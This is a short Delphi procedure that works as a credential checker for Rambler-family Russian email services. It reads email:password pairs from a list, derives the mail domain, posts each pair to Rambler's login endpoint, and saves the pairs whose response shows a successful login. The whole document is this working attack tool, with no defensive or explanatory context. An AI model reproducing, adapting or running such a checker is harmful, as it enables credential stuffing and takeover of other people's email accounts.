procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
pass,mail,domain:string;
post, page:tstringlist;
begin
 for i:=0 to form1.memo1.lines.count-1 do
  begin
   pass:=copy(form1.memo1.lines[i], pos(':',form1.memo1.lines[i])+1, length(form1.memo1.lines[i]));
   mail:=form1.memo1.lines[i];
   delete(mail, pos('@', mail), length(mail));
    if ansipos('lenta.ru', form1.memo1.lines[i]) <>0 then
     domain:='lenta.ru';
    if ansipos('myrambler', form1.memo1.lines[i]) <>0 then
     domain:='myrambler.ru';
    if ansipos('autorambler', form1.memo1.lines[i]) <>0 then
     domain:='autorambler.ru';
    if ansipos('ro.ru', form1.memo1.lines[i]) <>0 then
     domain:='ro.ru';
    if ansipos('r0.ru', form1.memo1.lines[i]) <>0 then
     domain:='ro.ru';
    if ansipos('rambler.ru', form1.memo1.lines[i]) <>0 then
     domain:='rambler.ru';
   post:=tstringlist.create;
   page:=tstringlist.create;
   post.Add('back=http://mail.rambler.ru/mail/startpage');
   post.Add('login='+mail);
   post.Add('domain='+domain);
   post.Add('passw='+pass);
    try
     page.text:=IdHTTP1.Post('http://id.rambler.ru/script/auth.cgi',post);
    finally
     if ansipos('logout', page.text)<>0 then
      form1.Memo2.Lines.Add(form1.memo1.lines[i]);
     page.free;
     post.free;
    end;
  end;
end;